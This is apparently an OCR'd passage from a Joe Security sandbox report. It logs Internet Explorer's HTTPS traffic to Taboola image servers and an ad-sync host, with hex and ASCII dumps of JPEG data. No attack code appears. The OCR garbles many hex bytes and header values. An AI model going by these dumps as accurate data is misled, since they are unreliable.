92 ¢c6 c9 ab 28 4c 32 70 9b ab fb c0 f2 6b a8 1d f3 55 bd e4 78 d5 08 4a 26 3e 29 c8 63 cf d3 37 4a 8e 78 f1 14 2c 61 85 fO
3cc3dcedc9 12 c8 77 24 6d 1b 0d cd 5d 3c 89 c9 dc 01 ed 87 4c 18 30 04 2e e7 71 6¢ 6e 42 14 d9 24 67 ff d9

Data Ascii: 0XUE6;/d,HTRZHYf'MEBQVK b6(L2pkUxJ&>)c7JIx,a<w$m]<L0.qInBSg

Destination IP Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F06ad29ca279ef6d1ald51484867ed930.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 9967

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With
access-control-allow-origin: *

edge-cache-tag: 553270200939834220709193410047979545975,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "1190c19894a910880fbfabc14420edde”

last-modified: Tue, 31 Aug 2021 20:45:33 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 1

x-ratelimit-reset: 5

x-request-id: a765bfa3bale81be732ebe2ble7b7390
X-envoy-upstream-service-time: 70

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb204
Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Thu, 07 Oct 2021 14:20:18 GMT

Via: 1.1 varnish

Age: 1492691

X-Served-By: cache-wdc5572-WDC, cache-mxp6950-MXP

X-Cache: HIT, MISS

X-Cache-Hits: 1, 0

X-Timer: S1633616418.075926,VS0,VE242

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F06ad29ca279ef6d1ald51484867ed930.jpg
X-vcl-time-ms: 242

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 Oa Ob
0Oa Ob Oa Of Oe Oc Oc Oe Of 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 le 1c le 24 le 36 2a 26 26 2a 36 3e 34 32
34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 06 06 06 06 07 06 07 08 08 07 Oa Ob Oa Ob Oa Of Oe Oc Oc Oe Of 16 10 11 10 11 10
16 22 1519 15 15 19 15 22 1e 24 1e 1c le 24 le 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4Ac 5f 5a 5f 7c 7c a7 ff c2 00
11 08 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02
03 04 0506 07 08 09 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 Oc 03 01 00 02 10
03 10 00 00 00 f4 42 90 b1 21 c4 84 a4 28 20 e2 40 93 02

Data Ascii: JFIF"'$$6*&&*6>424>L.DDL_Z_||"'$$6*&&*6>424>LDDL_Z_||7"4B!( @

Page 64 of 83



kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 96

2021-10-07 14:20:18 UTC 98

2021-10-07 14:20:18 UTC 99

2021-10-07 14:20:18 UTC 100

2021-10-07 14:20:18 UTC 102

2021-10-07 14:20:18 UTC 103

2021-10-07 14:20:18 UTC 104

Session ID Source IP

19 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:18 UTC 34

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49843

Direction
ouT

Data

Data Raw: 41 51 14 15 61 10 16 17 23 32 35 42 25 45 52 54 71 ff da 00 08 01 01 00 01 09 00 12 0f ¢3 12 57 c0 ee 75 e4
19 34 3e 04 a0 d3 b6 cO af 34 4e be 40 6f el f7 b0 74 09 fc 76 d7 d8 3e ea 4d f6 04 50 6f e0 b6 bc e8 48 29 89 ec Oe bb 7f
1d bf 80 ff 00 ¢3 f9 02 81 d7 db 75 d8 53 f9 02 94 d0 71 41 85 48 47 5a 52 b4 08 dd 78 a9 0f d2 2b 75 ba 04 53 9f a6 87 f4
f1 4e 47 51 5e 28 6a bc 53 eb ad 29 15 b1 fd Oe ba 57 8f €9 ed a5 49 18 04 57 45 15 d4 50 8d 6a 44 00 8f 2a a2 bc 1f 06
82 8a 70 06 b5 40 Oa dO 22 84 6b 4e ba 61 e4 0a 20 11 aa 0a 29 d4 78 d5 01 5a 15 d1 6a 45 1e 28 28 ad 7d ab a0 a6 50
14 52 b3 d3 6d b5 5d 58 d3 07 51 ba 56 63 4e 9d b5 a2 11 c7 dc f7 03 74 ac f4 cO b0 14 11 a9 83 a8 dd 2b 3d 38 ed a3 41
5b 54 ¢1 95 77 40 b7 de 88 24 d7 53 44 30 5d dO 26 98

Data Ascii: AQa#25B%ERTqWu4>4N@otv>MPoH)uSqAHGZRx+uSNGQ"(jS)WIWEP]D*p@"kNa )xZJE((}PRmM]XQV
cNt+=8A[Tw@$SDO0]&

Data Raw: 26 a3 4a 89 35 aa 41 5b d0 d5 00 5d c2 8a f4 a7 8e Ob 7b 69 73 f3 al 5a e9 a3 50 bf b5 3c 67 5c af 0d fh 2f 26
ca e3 c2 3a 8e dd aa ce 46 4c 6d ea 6e dc f8 b5 d8 b7 96 04 49 e6 95 e2 69 25 73 04 a5 19 7d b3 2c c2 c2 67 9e 34 48 db
01 78 f6 93 2c 8a de f4 52 46 b2 c6 55 cb 7d 95 49 a5 50 28 49 f5 6a bd 5d e4 3f ab cc 41 85 82 49 e4 d9 34 ab b3 50 ad
22 e8 52 f8 ab 6a €0 9c 42 5e 49 91 d4 b5 fe a5 44 8e 28 6 3f a3 13 f0 2b d5 be 32 f7 d8 b8 33 96 ab 28 Oc 4b 00 8a c1
66 5a 69 8c 7d 98 04 41 df 15 6e d5 0d cc 46 57 59 04 32 99 1d 99 aa da e3 f4 c1 67 51 8c c8 43 75 d2 58 57 15 95 92 05
27 ad b3 db cf 1f b9 04 c7 4a 2b 7e 6b 23 93 b4 c4 e2 b2 59 5b 84 b9 ba b8 b8 79 ae 6e 1c 9d 9a 89 2a 24 d5 01 e2 89 ae
37 c7 6f f9 16 4e 3b 3b 35 c5 d8 59 61 f1 b0 e3 6¢ 23

Data Ascii: &J5A[l{isZP<gV&:FLmnli%s},g4Hx,RFUHP(Ij]?AI4P"RjBAD(?+23(KfZIJAnFWY 2gQCuXW'J+~k#Y[yn*
$70N;;5Yal#

Data Raw: 98 cb 9c 8d f5 63 a7 5b 5e 8b 77 4c 83 a8 ae 42 2e 6d a6 59 51 ae b9 2e 37 2e 3f 49 23 67 f9 25 cf 1c b5 c3 5a
da a5 86 42 da f2 d2 de 6 d1 ed 2e d4 8f 27 d2 fc 23 58 5a cb 9d 9e d0 64 7c 80 f6 a9 72 84 eb 42 61 bd 69 6e 21 27 5d
83 a7 e7 69 5a 5a f6 f7 6 f6 bf 8e 8e 3e 28 19 07 c8 07 7f 6¢ a6 4e 3c 7c Ob d4 5b cd fa c¢8 ca dc d3 5b ¢5 66 d2 5b de db
5f fa 55 ¢6 32 db b8 b0 b9 ff 00 1a 5e ce f1 59 cf cb 31 98 ab 1c 2e 36 2b 3b 24 e4 50 59 a2 bd ed e3 e0 a4 b2 18 f2 f6 30
7a87c9 639992 c2dledec 626035 6e 71 fd 17 46 b8 77 36 fd 9e f8 58 5d 44 1b ae 99 5b fc a5 ea 14 50 c5 1a e7 3f
ca be ff 00 af fd c3 fa a9 cf f7 ff 00 70 3d 57 e7 e3 ff 00 74 ff 00 2b fa 85 2¢ 90 c4 32 33 c0 22 62 b4 c9 21 f2 0f 3a e6 37 fc
6c 59 da e3 a4 ff 00 2d 73 c1 13 b7 ea

Data Ascii: c["WLB.mYQ.7.?1#g%ZB.'#XZd|rBain!'liZZ>(IN<|[[f[_U2"Y1.6+;$PY0zch 5nqFw6X]D[P?p=Wt+,23"b!:7IY-s

Data Raw: 9f e8 2b af de b7 d7 e6 b6 ac 7c 13 b0 7e 49 63 f1 4a 07 c9 a2 3e c0 15 1b 15 e4 51 34 41 1e 76 ad b3 a3 5b
04 ea 9c 10 3e 53 ca f8 a6 fa 57 75 Ob f8 a3 aa 2a 37 4c a4 d6 8e ba d2 f6 fb 52 8f 1b df ff c4 00 2b 11 00 02 02 01 03 02
04 06 03 01 00 00 00 00 00 00 01 02 00 11 03 10 12 21 41 51 04 20 30 31 13 22 32 61 71 81 23 40 43 50 ff da 00 08 01

03 01 01 3f 00 ff 00 af 5a 19 70 1f 40 6a 45 c2 a6 74 12 fd 21 al f6 f3 8d 09 87 45 87 43 06 b5 e6 53 46 18 7c a7 83 al f2
83 62 19 5e 9a €9 51 3c 2e 6¢ 8a 19 57 8e e4 c¢7 f0 99 53 b4 61 55 7e 8a b7 7d 3c Oe 5f f2 6f b9 59 95 78 8f 85 9f 20 02 09
b6 6d 9b 4c a3 28 ca 33 1le 2b 1b 98 d0 ba 87 6a 70 aa Of 71 13 02 be 40 6b e5 20 d8 ec 66 3¢ 09 8d ad 6f 98 40 75 a8 db
b1 64 Oc 20 97 2f 4b 32 f4 02 b0 8b bf 7b 81 54 ae

Data Ascii: +|~IcJ>Q4AV[>SWu*7LR+!AQ 01"2aq#@CP?Zp@jEt'ECSF|b"Q<.IWSaU~}<_oYx mL(3+jpg@k f<o@ud /K2{T

Data Raw: 10 89 25 b6 bd d8 95 b2 86 23 90 15 60 eb de 4a fc 94 9f e6 c7 6a ca 48 c9 1la 7d 85 ac 98 68 18 16 63 c4 af
0Oa f7 ae 45 6f Oc 8c 4f ab 56 a3 5e 86 ac 18 d8 9e 26 8d 5e 17 03 38 1f 00 c3 a8 a0 c0 80 43 0d 88 3e 23 d8 57 Of 85 88
cb 27 5b 6¢c a3 a9 3a Oa bc 8 a9 5a 47 €9 7d 94 74 1e 2d 3e bl e4 a3 52 68 09 7d al 3f dc 62 84 65 15 1e 13 1a aa 3e 4f
8b 89 02 e5 2b b0 75 5b 06 5a 61 02 14 be 32 3f 34 05 5¢ d8 10 f5 95 64 b3 05 fd 01 b5 ea f9 81 ab 93 04 b1 fc 1e b5 d7
7a b8 2d b0 23 5b 6e 0d 5c 5f 6b 6e 4f el 44 d9 45 c0 e8 2f 47 2b 6b 13 1f aa 7e cf al f1 83 5a 44 56 7c 77 57 dd 23 f1 de
6C 64 cb 12 74 1b b3 7a 0a b4 38 68 96 28 fd 10 5a fd 85 a4 ¢3 94 c5 a2 70 7e e7 75 ad 6d fO ad d4 29 bf 1b 9a fc 8e 3a
74 63 fa 32 58 ad 1b 97 2a Oe fd 29 42 24 79 7f 12 68

Data Ascii: %# JjH}hcEoOVA&"8C>#W'[I:ZG}t->Rh}?be>0+u[Za2?4\dz-#[n\_knODE/G+k~ZDV|wW#Idtz8h(Zp~um):t
c2X*)B$yh

Data Raw: ba 77 33 f2 Oc ba a9 35 64 50 59 8f 25 1a 93 44 cb 34 81 51 37 3a e8 aa 2b 58 22 1d €9 e7 2b 6a e6 88 a3 40
9f 85 38 b1 b8 d4 6f 46 c4 5a 81 ab 36 5b 30 e6 45 68 68 1b ef 40 02 2c 45 f8 3 al b0 1e b6 a3 Oe 2b 12 bf 2a c5 ce 1c ab
26 1a 37 b0 51 d5 ab 18 a3 b9 79 be 50 8e d7 38 91 76 5f 52 6d b1 a9 63 c7 d8 49 dd e0 d0 65 8c ca al 58 12 d7 f7 ad 7b
1a 46 00 48 c8 b8 84 78 82 bb ea 58 14 3b 83 51 b4 18 c0 42 e2 03 c5 ab 48 2c 5b 46 26 {7 af f5 7c 1c 38 3b 96 Oc ef f2
65 c9 99 ec 07 66 b5 e5 b6 a7 97 6a 49 13 db 32 38 b8 36 37 15 e6 98 eb d1 17 fc 4d 5f 0d 80 36 8b 93 e2 Of f9 3e 94 23
af b3 d3 03 Ob f2 93 b8 18 ac d5 2a aa fc f4 30 ab 87 84 8f a8 c2 ¢7 5b d6 79 89 69 1c bl b2 dc 6b 47 10 02 de 4b 21 f2 75
3b 01 4d 16 25 59 11 94 e8 e8 cc 78 8a 90 3c 4c e9

Data Ascii: W35dPY%DA4Q7:+X"+@80FZ6[0Ehh@,E+*&7QyP8v_RmcleX{FHxX;QBH,[F&|8;efjl2867M_6>#*0[yikGK!u;M
%Yx<L

Data Raw: a4 ba eb 96 e4 Ob 1a 8e c8 a4 af 7a 33 65 4e 20 0a c7 61 70 Ob 95 24 49 94 a8 8b 31 Oa 18 5f 5b 35 62 e5 8e
4064 ef 32 04 19 4e d9 73 9b 1a 91 3c c5 83 30 b0 20 b6 9a 8a f6 ac 6f 2c ¢9 14 73 2e 15 9e 17 69 36 Oa c3 7a 2f 13 5f
2b 58 ad ec 6d b1 00 f6 5f 5a 9e c5 c2 9b 6a 49 e8 2a 49 30 38 9c 3a 45 8a 67 52 aa le 3b 64 cc 69 94 05 24 de c4 69 c3
4a 95 bc 81 b3 e4 21 6¢ db 6b 45 4f 8f d4 76 58 72 ac 56 1a 78 41 29 34 40 31 Ob bd 88 35 23 1c 24 40 4c 71 cc 61 Oe af
a0 5c b6 d1 cd 1c 1e 2a 67 2f 1c 4d 69 92 1b eb dd bl 52 2f 6a 85 d5 45 ac 22 b6 62 dc 89 26 b0 8a 25 27 32 7 2b 63 ae
d6 a8 da 22 81 3b b2 33 21 45 fa a4 1a 2a 06 c0 68 00 ac €8 0d f6 bd a8 10 ac 19 47 00 41 b8 a5 4e 24 01 6a 52 39 f1 a7
fb ce 95 ad f8 d1 30 b9 52 c0 5b 5c a6 ff 00 5a e2 b8 92

Data Ascii: z3eN ap$l1_[5b@d2Ns<0 o0,s.i6z/_+Xm_ZjI*I08:EgR,;di$iJIIKEOVXrVxA)4@15#$@Lga\*g/MiR/E"b&%
'2+¢";3IE*hGANS$|RI0R[\Z

Destination IP Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F42912d3264942cf3a1683ef85b453901.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 83

2021-10-07 14:20:18 UTC 84

2021-10-07 14:20:18 UTC 85

2021-10-07 14:20:18 UTC 87

2021-10-07 14:20:18 UTC 88

2021-10-07 14:20:18 UTC 89

2021-10-07 14:20:18 UTC 91

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 10194

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 425260678535615705476711808861106441696,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "3d9a263d5614f3f0eafb160258950c15"

last-modified: Thu, 09 Sep 2021 07:31:10 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 98

x-ratelimit-reset: 1

X-request-id: 0717c¢93da80566db88ab2688397de0le
X-envoy-upstream-service-time: 21

X-backend-name: CH_DIR:3FP7YNX3LMizprTZsG7BSW--F_CH_nlb804

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Thu, 07 Oct 2021 14:20:18 GMT

Age: 1460389

X-Served-By: cache-wdc5545-WDC, cache-dcal2920-DCA, cache-mxp6934-MXP
X-Cache: HIT, HIT, MISS

X-Cache-Hits: 1, 1, 0

X-Timer: S1633616418.068280,VS0,VE109

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F42912d3264942cf3a1683ef85b453901.jpg
X-vcl-time-ms: 109

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 07 07 08 09 09 08 Ob Oc
0Ob Oc Ob 10 Of Oe Oe Of 10 19 12 13 12 1312 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37
3a 45 53 4a 4a 53 69 63 69 89 89 b8 01 07 07 07 07 07 07 08 09 09 08 Ob Oc Ob Oc Ob 10 Of Oe Oe 0Of 10 19 12 13 12 13 12
192517 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37 3a 45 53 4a 4a 53 69 63 69 89 89 b8 ff c2 00
11 08 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03
06 00 01 02 07 08 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 ff da 00 Oc 03 01 00 02 10
0310 00 00 00 f6 ac 53 b6 79 b6 f8 a7 55 6d f1 5e 51 33

Data Ascii: JFIF%%!(!!(!;/))/;E:7:ESJJSici%%!(!!(!;/)/;E:7:ESIISici7"4SyUm"Q3

Data Raw: 56 f4 f5 56 eb 7a c5 dc cc cc 5d ef 35 b3 ad e6 b1 d5 d6 f9 db e4 ac d4 9c cc ff 00 62 29 cc f1 9¢ f5 15 dc ce 86
6a c7 al e6 6¢ 4d 54 bc c6 e6 b8 2c cc ¢8 df 3d eb 33 a6 9a 95 5f 31 9d c¢1 35 99 9b ad ce f3 32 de 66 63 26 f3 31 c3 9d
66 36 6e 7c cd 21 ff ¢4 00 2f 10 00 02 02 02 01 04 01 03 03 04 02 03 01 00 00 00 01 02 03 04 00 05 11 06 12 13 21 14 22
31411523 51 10 20 32 61 07 30 16 24 33 52 ff da 00 08 01 01 00 01 09 00 f3 9c f9 07 05 8e 33 cd ce 79 f3 cc 7f 9f 37 fb
367 9b d6 79 8e 79 f3 cb 9e 4c 12 9c 79 f9 52 c4 ¢5 60 49 c9 19 e4 38 65 39 e6 cf 39 18 66 e7 3c b8 26 c1 38 ¢3 31 fc 67
98 f1 9e 6¢ f3 67 9f 3c 3 3c e3 f9 3 €0 98 61 98 60 9b Oc f8 26 38 25 7 04 a3 04 9f ee f5 al 15 73 94 2f 02 4a 60 91 8f
df 3b cf f3 e6 €3 3c d8 66 cf 36 79 79 c1

Data Ascii: VVZz]5h)jIMT,=3_152fc&1f6n|!/1"1A#Q 2a0$3R3y7gyyLyR 18e99f<&81glg<<a’&8%s/J";<f6yy

Data Raw: 8a c4 c6 be b9 5d 04 92 4d 1e 93 cd cc 33 3a d0 79 d7 e3 49 5e b4 07 86 92 a4 d5 bc b2 fe da 53 d5 ¢8 b3 c6
66 9a 1a 86 bb cb e3 ca b5 22 65 69 26 55 8b a4 df 91 26 33 eb ¢5 79 62 a8 d6 a7 b1 5b b9 67 cd bd al 3c Oc bc b2 7b 39
db eb 00 c8 4f 05 4e 45 29 29 e8 74 bc 89 66 83 ¢4 98 61 27 fc 5a 0d 45 69 al 2b 25 b3 4a 38 3c d1 79 26 a8 bl 10 ec 64
al 0a 49 dc ed Oc c6 3a 96 43 c0 93 dc 8a 25 2d 5e bd a9 ¢3 19 9e 9c 77 a4 b2 ea af ad 7b f4 a4 44 e5 13 f4 88 e2 32 fc
3b 1a8b 33 3f 75 77 3afd f5 75 20 bc 32 dd 58 8a 9b Ob 66 d3 48 03 d8 82 cc 4c a4 ab ch 42 29 8¢ 85 2b 54 af 2b 44 d1
18 3a a8 79 a9 b4 80 4a dd e3 19 30 a6 15 c4 f5 91 96 52 84 1d 5e c2 5d 7d 95 95 1a bd f4 d8 c3 e6 ae 1e 86 c5 db be 46
14 €370 4b cd 2d 19 24 1d bd cf 4a 09 00 f9 17 16 c6 8¢

Data Ascii: [M3:y1"Sf"ei&U&3yb[g<{9ONE))tfa'ZEi+%J8<y&dl:C%-"W{D2;3?uw:u 2XfHLB)+T+D:yJORA}FpK-$J

Data Raw: a9 cb ae a5 14 49 b0 ca 5a f8 2c 5a 22 06 9e 8b d2 81 62 41 78 7c 78 5e 78 aa d3 d8 88 94 Oe 44 af 66 24 15
d3 ac d5 26 86 b4 ca 36 b2 25 85 89 62 7d a9 el 90 8¢ b4 d8 df d3 93 8a 70 36 29 c4 3e c6 44 4f 69 c8 4f 68 €3 19 b8 54
39 a3 b0 f0 1f a5 bb fa 80 47 24 53 56 8e 24 aa eb 71 6a cd ae 9c d6 16 85 3a 94 6e 98 61 7e 65 a0 5a 4e 62 8b 63 ac b3
77e3ac10e9eb3d 78 a3 13 c9 77 67 a7 ad e4 28 b1 d9 17 22 63 Oc 1e 2a b2 17 ee 86 39 €8 d5 85 56 b3 5¢c 14 ec eb
5d 5d el 8¢ 54 f9 85 4e da 6e ef 18 e2 56 2d 8f ef 8c 6¢ ee f5 81 b3 9¢ 07 9c 8f 9e 72 16 c0 d8 a4 15 e0 e2 4a 50 2b 13
37 52 db 21 9a 58 a0 db fc 99 3b 0d 18 e2 96 a0 07 bd 75 bb 39 65 fd dd 93 ea 6b d4 fO c8 ed 2e be 5b 44 f6 d2 83 58 2a
20 3 ed b6 db 8d 4c 16 65 8a b1 5d 89 60 4f 82 ac 91 ca 91

Data Ascii: 1Z,Z"bAx|x"xDf$&6%b}p6)>DOiOhTIG$SVSgj:na~eZNbcw=xwg("c*9V\]]TNnV-IrJP+7R!X;u9ek.[DX* Le] O

Data Raw: ca df 52 ff 00 ¢7 67 7d 2d 5b 1f ac 3f 4b €9 f5 1a ed 91 9a c7 4d 69 38 d6 b4 12 3c 3a 9d 66 8f 62 a3 cd aa b9
b0 95 e5 1f 33 67 7e f6 a5 a6 a7 2c 14 f7 62 a4 06 9d 1a f4 76 16 63 ad e4 b3 5b 7a 62 af 32 15 17 c1 8d 9d 63 c8 26 92
6a 52 46 45 d2 45 77 00 db ff 00 01 87 fb 47 f6 8c 89 f2 Oe a0 d6 56 af 5a b4 7a fb 12 3e e0 ¢3 32 45 72 9c bb fa 93 d2 8e
84 9d 5d b2 e8 b4 7d 64 90 eb 6 db 2d b5 cb 4d 23 8e a2 83 42 52 91 82 f5 b9 7 73 b5 b7 9e 17 a5 4a 24 79 ¢4 17 a6 %e
23 13 37 50 53 16 b4 eb 20 6a d2 48 d6 44 7d 85 0d 32 5¢ 8d 9a 34 5d c1 b2 77 1d dc 67 18 70 ff 00 d0 32 3f 59 ff c4 00
28 11 00 02 02 02 00 05 04 02 03 01 00 00 00 00 00 00 00 01 02 11 03 21 04 10 12 31 41 1320 51 71 05 22 42 61 81 cl
ff da 00 08 01 03 01 01 3f 00 f5 19 ea 31 4d fc 9d 67

Data Ascii: Rg}-[?KMi8<:fb3g~,bvc[zb2c&RFEEWGVZZ>2Er]}d-M#BRsJISy#7PS jHD}2\4lwgp2?Y(11A Qq"'Ba?1Mg

Data Raw: 47 6¢ 47 61 b4 c2 81 d4 ce 98 69 5a 82 5c¢ 5 1b f0 eb 7b 4c d9 82 8a 0a db f9 02 e3 a6 50 c5 5¢ bl bf 22 2f 46
cca7 5963 1b a7 18 77 42 dc f1 1c df 2b bc €8 4d b1 fa 98 46 e6 5d 0f c9 e2 0d c7 el 3a 8d 00 85 40 07 8b 31 ba 9d 47
65 42 7e e6 6e a5 8b 15 3557 e2 el 6d 62 ad 80 fa 81 12 eb e4 0f b3 c4 e9 f1 56 92 07 23 78 82 84 68 26 al 39 95 50 81
51 6e bf 9a 92 77 e2 b6 99 1b 46 4b 22 8f d8 a3 32 39 65 f9 76 ea b7 32 c6 45 b0 ¢7 61 b0 02 0d 6a 40 b0 67 4d 45 3f 77
34 9d 34 21 26 f9 80 9a e6 6a a3 15 a0 87 89 97 1b 01 7a ac d7 33 b6 e3 e5 56 3e ec c3 9f 32 ae 92 9f f9 16 cd fc d9 6f cO
98 d0 16 2b 66 c9 9d 3d ae 60 bf 8c 87 €5 03 01 01 8a 62 98 4e d3 fc d6 46 38 df 21 fb a8 3a 94 75 d7 b9 d0 76 24 73 fb
99 3a 8c cd 64 10 47 3b 8a 83 1e 4c a8 08 00 1f 63

Data Ascii: GIGaiZ\{LP\"/FYcwB+MF]:@1GeB~n5WmbV#xh&IPQnwFK"29ev2Eaj@gME?w44!&jz3V>20+f="bNF8!:uv$s:d
G;Lc
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 92

2021-10-07 14:20:18 UTC 93

Session ID Source IP

2 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:10 UTC 2

2021-10-07 14:20:10 UTC 3

Session ID Source IP

20 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:18 UTC 34

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49784

Direction

ouT

Source Port
49842

Direction
ouT

Data

Data Raw: 73 18 3f 71 42 b5 51 9d 83 15 0d 73 b7 61 71 32 2e bb 2d ef 03 13 7b 11 34 9b ba 1le 20 56 51 44 fa c7 56 c3
7a 95 fc 83 18 b9 dc 99 cb 13 fa bc 0f 81 23 f6 df 88 a8 be 63 65 52 08 05 b8 b3 €9 1f 1d 0a ec 13 09 7e 69 04 c1 f3 01 3a
81 6f 27 da 63 a0 7f 68 33 1e 35 f5 23 71 17 2d fO 40 99 98 78 f1 62 64 c0 d5 b6 4d 62 ff 00 26 05 55 da 5 59 30 d6 d7 53
23 7cc2 6b cl bl 37 d5 4c 36 26 c4 55 3e 41 22 e0 d6 a2 c3 d5 73 €0 cb 75 de c4 al 67 f5 5¢ e2 1d 05 c0 68 f4 db d4 7b
99 0a b7 8b aa 22 60 42 56 90 6a 1b cc 19 58 ee dd db 98 8a e8 2b e6 Oa af 4a 31 33 33 7d ea 8b 64 df 98 bd 35 1d 55 96
16 Oa c0 a8 ad 23 f8 13 33 fc a0 59 8e 46 a3 f8 03 cc df 51 ab 52 ac 65 a9 a0 a4 45 77 00 d3 7a 5f 98 c0 02 49 75 3c bl
87 5e al a6 01 aa 8a 15 da 77 56 df 47 70 c2 5e 8b

Data Ascii: s?qBQsaq2.-{4 VQDVz#ceR~i:0'ch35#g-@xbdMb&UY0S#|k7L6&U>A"sug\h{" BVjX+J133}d5U#3YFQReEwz
_lu<wVGp»*

Data Raw: f8 33 19 51 b3 82 bc fe Oc ca 1c 8d c1 e2 06 c6 46 7 2c b5 34 1b cd 81 26 79 fa a7 a8 cb 8b 39 43 d3 62 36 9b
6d a9 63 3a f2 70 38 2c 04 2e 57 6e f1 6a b3 a6 56 6d c9 Ob 46 26 26 65 a2 a4 02 b3 a3 ch d3 bb d9 52 77 Ob 3a 6¢ 59 db
b4 35 ce 9f e4 85 b5 a7 df 5f a4 ea 1f a4 c6 28 b4 Oe b7 bd 78 f6 32 f4 8e ea 12 d7 c4 da c8 97 eb f5 73 74 f9 b5 6b a0 35
13 5e 2c ¢5 6¢ ¢7 72 3f 70 13 56 45 3c €9 8d d1 e4 55 22 95 63 75 Oa 7c 12 46 aa 8¢ bd 4a ee 71 8d e6 2c dd 56 5d b2 86
df 40 88 e5 4d f2 18 21 3e 60 04 8a 29 aa 81 31 31 ea b2 4f ff 00 60 cb 88 b5 eb b9 48 0d a8 f6 86 88 df f3 0f d5 c1 97 20
6b 72 87 73 53 31 cc 81 ad fd 6a 22 35 77 23 6d 13 Oe a0 6d 9d 79 9d 30 42 c7 6d 71 28 f1 a4 dd 89 9d 03 ab 2e 4c 94 42
cc ba ac 82 ec 6¢ 4d 44 1e 54 69 30 be 1c 83 61

Data Ascii: 3QF,4&y9Cb6mc:p8, WnjVmF&&eRw:IY5_(x2stk5”,Ir?pVE<U"cu|FJq,V]@M!>")110"H krsS1j"5w#mmy0B
mq(.LBIMDTiOa

Destination IP Destination Port Process

3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual. media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
rvid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: x.bidswitch.net

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

